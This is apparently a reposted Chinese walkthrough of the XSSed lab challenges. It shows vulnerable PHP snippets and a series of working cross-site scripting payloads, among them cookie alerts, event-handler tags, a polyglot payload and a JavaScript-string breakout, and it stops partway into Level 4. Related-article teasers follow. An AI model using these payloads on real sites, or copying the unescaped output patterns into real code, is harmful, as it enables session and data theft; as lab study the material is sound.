【XSSed】攻防实战全记录

最后救你一次,不要让欲望击溃你的意志

首先整体浏览网站

在这里插入图片描述

进入Level1 Basic XSS

首先整体浏览网站

在这里插入图片描述

对源码进行分析

漏洞产生于如下代码段:

echo($_GET[‘q’]);

直接将用户输入插入了html页面,没有任何过滤。

  • 构造普通payload:

<script>alert(/xss/)</script>

页面弹窗成功

在这里插入图片描述

  • 构造获取cookie的payload:

<script>alert(document.cookie)</script>

成功弹出cookie

在这里插入图片描述

  • 构造a链接的xss的payload:
<a href="javascript:alert('xss')">xss</a>

点击xss链接成功弹窗

在这里插入图片描述

  • 构造加载图形失败执行的payload:
<img src=x onerror=alert(1)>

成功弹窗

在这里插入图片描述

  • 构造iframe框架payload:
<iframe onload=alert('xss')>

成功弹窗

在这里插入图片描述

  • 构造svg标签payload
<svg onload=alert(1)>

成功弹窗

在这里插入图片描述

  • 构造video标签payload
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />

成功弹窗

在这里插入图片描述

  • 构造body标签payload

<body onload=alert(1)>

成功弹窗

在这里插入图片描述

  • 构造style标签payload

<style onload=alert(1)></style>

成功弹窗

在这里插入图片描述

  • 构造input标签payload

<input onmouseover=alert(1)>

当鼠标移动到空白位置,成功弹窗

在这里插入图片描述

万能xss的payload

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNclJavaScript XSSiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

进入Level2 JavaScript XSS

首先整体浏览网页

在这里插入图片描述

对源码进行分析

漏洞产生于如下代码段:

$q = $_GET['q'];
<script type="text/javascript">
var search_term = " $q";
</script>
  • 构造普通payload:

<script>alert(/xss/)</script>

弹窗失败,查看页面回显的代码

在这里插入图片描述

与basic xss将输入插入到html中不同,这里把输入未经过滤插入了JavaScript代码段。因为在字符串中,需要闭合两边的引号,构造如下payload:

a";alert(1);var q="a

成功弹窗

在这里插入图片描述

  • 构造加载图形失败执行的payload:
<img src=x onerror=alert(1)>

成功弹窗

在这里插入图片描述

进入Level3 Filtered XSS

首先整体浏览网页

在这里插入图片描述

对源码进行分析

漏洞产生于如下代码段:

$id = str_replace('"', '&quot;', $_GET['id']);
$creditcard = $_GET['creditcard'];
$creditcard = preg_replace('/([^\s])([A-Za-z\\"\\\'])/', '', $creditcard);
print <<<END
<h1>Please Confirm Your Order</h1>
<div id="creditcard">$creditcard</div>
<script type="text/javascript">
var q = "$id";
document.write("<!-- " + q + "-->");
</script>
END;

从源码中可以看出,过滤creditcard的正则非常完善,而对变量id只是转义了一下双引号(所以用双引号闭合是插不进去的)。这里体现了木桶原理,只要有一个可控输入位置成为插入点,其它输入的过滤再严格也没有意义。

  • 构造普通payload:

<script>alert(1);</script>

查看回显html页面代码:

在这里插入图片描述

有两处值得我们注意:

1、我们的输入\alert(1);\被过滤得只剩下 t(1) ,可见后端的正则过滤比较完善;

2、html后半部分有一个JavaScript代码段,其中有一个变量q,它先被赋值为123,然后被用注释符包裹,最后写入到到页面中,如果我们可以控变量q的值,闭合注释,就能利用document.write()函数向页面中插入js代码。

再回到前端看看有没有可能控制变量q,发现:

在这里插入图片描述

有一个变量id的默认值为123,它的属性被设置为hidden,可以想到这里的id就是后端的q,我们将hidden改为text,页面上就会多出一个id的输入框。

在这里插入图片描述

值得注意的是,因为是插入到js代码段中,而html又是一种从前往后遇到匹配的标签就解析的语言,所以不能使用</script>标签,否则会使该代码段的\<script>标签提前被闭合而产生混乱,就像下面这样:

在这里插入图片描述

那要如何插入js代码呢?这里就要用到一个伪协议:

javascript:[code]

直观上来说,这个伪协议可以让一个放url链接的地方,执行js代码,比如:

<a href="http://fdujwc.cn" target='_blank'>点这里跳转链接</a>
<a href=javascript:alert(1); target='_self'>点这里执行js代码</a>
这里之所以用不同的target属性是因为我使用的博客框架对<a>有一个默认值target='_blank',这个标签导致新打开一个窗口,会影响js代码在当前页面的执行。

现在,我们运用这个伪协议,构造payload:

id=--><a href=javascript:alert(1);>click</a><!--

点击click成功弹窗

在这里插入图片描述

另外,题目要求alert出creditcard的值,所以还要把alert内的东西完善一下,最终payload:

--><a href=javascript:alert(document.getElementById('creditcard').innerHTML);>click</a><!--

点击click成功弹窗

在这里插入图片描述

进入Level4 Chained XSS

首先整体浏览网站

在这里插入图片描述

  • 构造普通payload:

<script>alert(/xss/)</script>

页面弹窗成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/494524.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2.6 网络面试问题

tcp 与 udp的区别 1.tcp 是基于连接的 UDP是基于数据包 2.处理并发的方式不通 a.tcp用epoll进行监听的 b. udp是模拟tcp的连接过程&#xff0c;服务端开放一个IP端口&#xff0c;收到连接后&#xff0c;服务端用另一个IP和端口发包给客户端。 3.tcp根据协议MTU黏包及…

在Visual Studio 2022中配置C++计算机视觉库Opencv

本文主要介绍下载OpenCV库以及在Visual Studio 2022中配置、编译C计算机视觉库OpenCv的方法 1.Opencv库安装 ​ 首先&#xff0c;我们需要安装OpenCV库&#xff0c;作为一个开源库&#xff0c;我们可以直接在其官网下载Releases - OpenCV&#xff0c;如果官网下载过慢&#x…

【恶意软件检测】一种基于API语义提取的Android恶意软件检测方法(期刊等级:CCF-B、Q2)

一种基于API语义提取的Android恶意软件检测方法 A novel Android malware detection method with API semantics extraction 摘要 由于Android框架和恶意软件的持续演变&#xff0c;使用过时应用程序训练的传统恶意软件检测方法在有效识别复杂演化的恶意软件方面已显不足。为…

通航飞机(通用航空飞机)的软件关键技术

通航飞机&#xff08;通用航空飞机&#xff09;的软件关键技术主要聚焦于确保飞行安全、提升操作效率以及优化用户体验等核心目标&#xff0c;这些技术涵盖了诸多重要领域&#xff0c;从软件层面来看&#xff0c;各个技术领域均有着独特的实现方式与关键作用&#xff0c;以下将…

docker安装nginx,docker部署vue前端,以及docker部署java的jar部署

一、部署前端部分 前端部分使用vue 2&#xff0c;通过nginx进行部署&#xff0c;首先从nginx安装开始 1.搜索并拉去Nginx镜像 [rootlocalhost ~]# docker search nginx [rootlocalhost /]# docker pull nginx:latest latest: Pulling from library/nginx Digest: sha256:0d1…

【信号滤波 (上)】傅里叶变换和滤波算法去除ADC采样中的噪声(Matlab/C++)

目录 一、ADC采样的噪声简介1.1 常见的ADC噪声来源 二、信号的时域到频域转换2.1 傅里叶变换巧记傅里叶变换 三、傅里叶变换和滤波算法工程实现3.1 使用Matlab计算信号时域到频域的变换3.2 使用Matlab去除特定频点噪声寻找峰值算噪声频率构建陷波滤波器滤除噪声频点陷波滤波器与…

<论文>初代GPT长什么样?

一、摘要 今天我们聊一下论文《Improving Language Understanding by Generative Pre-Training》以及它所提出来的预训练模型——GPT1。我们知道Bert在出道那会儿红极一时&#xff0c;但实际上GPT1比Bert还要早几个月就出道了&#xff0c;而且同样刷新了当时的多个任务记录。GP…

“AI 线索精益模型调用系统:开启精准营销新引擎

在如今竞争白热化的商业战场上&#xff0c;企业的获客成本越来越高&#xff0c;如何精准地找到潜在客户&#xff0c;把每一分营销投入都转化为实实在在的订单&#xff0c;成为了众多企业主日夜思索的难题。而 AI 线索精益模型调用系统&#xff0c;就宛如一盏明灯&#xff0c;照…

链接数据Linked Data的深层解读

目录 前言1. Linked Data是什么&#xff1f;2. Linked Data的基本原则2.1 使用URI作为唯一标识符2.2 通过HTTP访问资源2.3 提供标准化的数据描述2.4 包括指向其他资源的连接 3. Linked Data的重要技术3.1 RDF&#xff08;Resource Description Framework&#xff09;3.2 SPARQL…

小白考研历程:跌跌撞撞,起起伏伏,五个月备战历程!!!

说真的&#xff0c;7月前我都没有想过我自己要考研&#xff0c;属于前期都是在大学中准备比赛&#xff0c;证书&#xff0c;直到参加蓝桥杯获得国赛三等奖&#xff0c;我问自己&#xff0c;再继续参加比赛吗&#xff1f;已经没有并肩同行的同学&#xff08;他们都准备考公考研啦…

用python ollama qwen2.5 开发一个AI修仙游戏

用 Python Ollama (Qwen2.5) 开发一个 AI 修仙游戏 简介 本文将介绍如何使用 Python 和 Ollama (Qwen2.5 模型) 开发一个文字版修仙游戏。这个游戏具有以下特点&#xff1a; 完整的修仙世界观和成长体系基于 AI 生成的动态剧情和事件丰富的物品系统(功法、丹药、灵宝等)社交…

java开发入门学习五-流程控制

流程控制语句 if&#xff0c; if...else&#xff0c; if..else if..else 与前端相同 略 switch case 与前端不同的是case不能使用表达式&#xff0c;使用表达式会报错 class TestSwitch {public static void main(String[] args) {// switch 表达式只能是特定的数据类型…

Qt笔记:网络编程UDP

一、铺垫 1.Qt框架使用的网络结构的基础就是Linux学习的网络编程基础&#xff1b;所以使用Qt写客户端&#xff0c;使用Linux写服务端&#xff1b;两者是可以实现互联的 二、UDP 网络编程UDP使用套路&#xff1a; 1.首先在.pro文件中加上network&#xff0c;使Qt可以搭载网络…

知识图谱+RAG学习

GraphRAG&#xff08;Graph-based Retrieval-Augmented Generation&#xff09;是微软在2024年推出的一项开源技术&#xff0c;旨在通过结合知识图谱和检索增强生成&#xff08;RAG&#xff09;方法&#xff0c;为大型语言模型&#xff08;LLM&#xff09;的数据处理提供全新解…

Bluetooth Spec【0】蓝牙核心架构

蓝牙核心系统由一个主机、一个主控制器和零个或多个辅助控制器组成蓝牙BR/ EDR核心系统的最小实现包括了由蓝牙规范定义的四个最低层和相关协议&#xff0c;以及一个公共服务层协议&#xff1b;服务发现协议&#xff08;SDP&#xff09;和总体配置文件要求在通用访问配置文件&a…

CAN201 Introduction to Networking(计算机网络)Pt.1 导论和应用层

文章目录 1.Introduction1.1 What is the network(什么是网络&#xff09;1.2 How does the network work&#xff08;网络如何工作&#xff09;1.2.1 Physical media/physical medium&#xff08;物理媒体/物理介质&#xff09;1.2.1.1 Guided media&#xff08;导引型媒体&am…

算法,递归和迭代

递归&#xff0c;从上到下&#xff0c;分解为小的问题&#xff0c;基本情况的解是已知的 迭代&#xff0c;不断重复&#xff0c;自下而上的解决问题 函数的上下文数据都存储在称为“栈帧空间”的内存区域中&#xff0c;直至函数返回后才会被释放。因此&#xff0c;递归通常比迭…

OpenHarmony的分布式服务框架介绍与实现解析

OpenHarmony的分布式服务框架是一个用于实现设备间高效协作与资源共享的重要架构&#xff0c;以下是其详细介绍&#xff1a; 框架概述 OpenHarmony的分布式服务框架基于分布式软总线、分布式数据管理、分布式Profile等技术特性&#xff0c;构建了统一的分布式服务管理机制&am…

Spring Security 6 系列之七 - 自定义异常管理

之所以想写这一系列&#xff0c;是因为之前工作过程中使用Spring Security&#xff0c;但当时基于spring-boot 2.3.x&#xff0c;其默认的Spring Security是5.3.x。之后新项目升级到了spring-boot 3.3.0&#xff0c;结果一看Spring Security也升级为6.3.0&#xff0c;关键是其风…

ansible play-book玩法

使用ansible-playbook实现安装nginx_ansible 安装nginx-CSDN博客文章浏览阅读1.5k次&#xff0c;点赞14次&#xff0c;收藏19次。本文详细介绍了如何在Linux环境中准备Ansible环境&#xff0c;包括配置主机、下载和安装Ansible&#xff0c;以及使用yum模块和tar包源码安装Nginx…